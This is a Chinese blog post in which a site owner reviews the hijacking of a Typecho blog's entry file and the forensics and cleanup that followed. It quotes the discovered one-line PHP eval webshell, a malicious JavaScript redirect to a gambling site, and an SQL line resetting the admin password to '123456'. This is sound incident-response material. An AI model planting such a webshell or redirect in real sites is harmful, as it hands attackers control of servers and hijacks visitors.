网站入口文件被劫持(网站被挂马)事件回顾

2020-02-14T16:28:00

最新处理方案

参考网友的解决思路,下载博客的全部源码到本地,使用工具进行查杀。

使用 D盾_防火墙(只支持 windows 系统) ,自定义扫描,选择目录之后,自动开始。

查杀文件 install.inc.php,存在 eval 后门。

<?php @eval($_POST[install]);?>

网站入口文件两次被挂马,大概率是这个文件在作怪,直接删除(或者放入沙盒)即可。

分析沙盒中的木马文件 install.inc.php

文件所有者 root,排除通过 web 上传的可能。对比本地测试安装的 typecho 目录,确认该文件非源码文件。使用 ftp 工具测试,发现新上传的文件修改时间为上传时间;将文件压缩上传,文件修改时间为本地修改时间。木马文件修改时间 Modify [备注 1] 2017-10-26 15:16:21.000000000,通过 config.inc.php 文件确认博客安装时间 Modify / Change 2017-11-21 15:11:52。由于原始的博客压缩包已被删除,并且木马文件 install.inc.php 被移动过,所以无法判断该文件是否是跟随博客一起解压的。但 typecho 已经很久没更新了,通过压缩工具查看到的文件最新修改时间 2017-10-30 ,并且以 typecho 的权威性应该不会打包木马文件,所以基本判定,木马文件 install.inc.php 是在安装之后,通过解压方式或者远程下载的方式添加到网站根目录下的。

经过对比测试发现,远程下载的文件 Access 与 Modify 时间虽然不同,但秒往下部分全部都为 000000000。通过解压方式获取到的文件 Access 与 Modify 时间完全相同,且秒往下部分全部都为 000000000。木马文件修改时间 Modify 2017-10-26 15:16:21.000000000 证明了其是通过解压方式或者远程下载的方式生成的这一观点。

选择服务器时建议使用大型云服务商的服务器,因为会有配套的实时监测系统,遇到木马或其他攻击可以及时的收到报警提示。

还有一种方法,是使用代码版本管理工具,如 git。

以 git 为例,将代码源码部分存放到 gitlab 上,在部署网站上 pull 代码。当网站发生挂马事件后,登录到网站根目录使用 git status 指令查看源码是否被篡改。若被篡改,则检测被篡改的文件,新增的木马文件直接删除,源码被篡改的,使用 git pull 还原。若未被篡改,则检查上传文件的目录,检测是否有脚本文件,如 php 或其他可以类型的文件,保存木马样本,确认后删除。

木马文件从何而来?

  • 服务器本身存在漏洞,有未知管理员权限的用户,或者管理员密码强度太弱,服务器被暴力破解。
  • 服务器安装了存在后台入口(木马)的软件,直接被内部入侵。
  • 网站代码存在漏洞,被上传了木马脚本

更新时间 :2020-03-10


入口文件被劫持

早上开早会过程中,打开浏览器,默认页面是当前主站。但是标题突然变成了 “欧冠杯_体育下注_足球赛事”,这让我意识到网站的不对劲。往下浏览,发现页面内容重复了一次,且打不开二级页面。每次跳转 url 改变了,但是内容没变。打开控制台,发现代码表现正常,除了标题、keywords 和 description 被修改,以及 console 栏标识出来的引入了非 https 协议的 js 文件错误。

js 文件解析

在完成这篇文章后,找到了因为协议问题而报错的源文件 http://m.hqty168.top/bcjs/88.js,百度搜索关键词 qihucdn(当时不知道是 360 搜索的推送地址),第一篇就是 “被挂马” 的排查文章:记一次站点被挂马问题排查。看了文章才知道,我这种情况是有多危险。

这个由于入口文件被篡改而引入的 js 文件非常邪恶,上半部分内容就像正常搜索引擎推送,但下半部分就开始劫持我的网站流量了:

document.writeln("location.href=\"http://www.hqvip.top/index.php?baidu=hqbet563.com/\";");

如果正常引入这个 js 文件的话,网站会自动跳转到一个博彩网站上。因为入口文件被劫持,所有的页面都会经过被篡改的入口文件,进而跳转到博彩网站上。这就是网站“被挂马”的现象。因为搜索引擎对博彩这种灰色产业网站会降权处理,这就会导致我的网站也会被降权。

幸好我的网站使用了 https 协议,引入非同源的脚本会失败报错。 OωO

更新时间 :2020-02-14


尝试解决

尝试登录后台,登录页面打开正常,但是登录失败,仍会跳转到首页。

心里有点慌,在想是不是登录后台的密码太简单了,被暴力破解了。这个还算好的,如果是服务器被黑了呢?

使用 bash 远程登录到服务器,登录正常,没有登录失败的记录;查看最近登录记录,没有异常登录记录。尝试在线登录数据库,登录成功。修改主站后台默认账号的密码为 123456

use typecho;
update typecho_users set password = 'e10adc3949ba59abbe56e057f20f883e' where uid = 1;

typecho 默认加密方式为 md5

再次登录主站后台,依然失败。

猜测是入口文件被修改。切到网站更目录,发现可疑文件 index.php1。查看内容,发现就是正常的入口文件,查看现在的 index.php 文件,发现内容混乱。

将当前入口文件移动到小黑屋,并修改 index.php1index.php。刷新页面,内容恢复。

痕迹追踪

按照之前写的一篇 排查、判断 linux 服务器是否被黑或被当成肉鸡挖矿,进行排查。未发现其他账号登录的痕迹,使用 nmap 扫描端口,发现一个陌生的 8888 端口,对应的服务 sun-answerbook。查看对应的脚本是 python2.6,没问题。

系统方面因为不太懂,没查到什么线索。转而分析小黑屋里的那个劫持文件(使用 ls、ll、stat 指令),发现内容修改时间为 2020-02-13 18:44,创建用户为 www。系统用户 www 是为了执行 httpd 子进程指定创建的,依据这个推测,这个劫持文件应该是通过 php 脚本注入创建的,这意味着服务器本身是安全的。

但进一步分析就没办法,暂时还不知道是程序的那边有漏洞导致的。

记得最后修改一下服务器 ftp 密码和网站后台密码,以防密码被暴力破解网站仍处于危险的情况。

passwd www
passwd root
passwd ...

备注 1:

Access \ Modify \ Change 的初始时间记录都是文件被创建的时间
Access 指最后一次读取的时间(访问)
Modify 指最后一次修改数据的时间(修改)
Change 指最后一次修改元数据的时间(改变)

当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »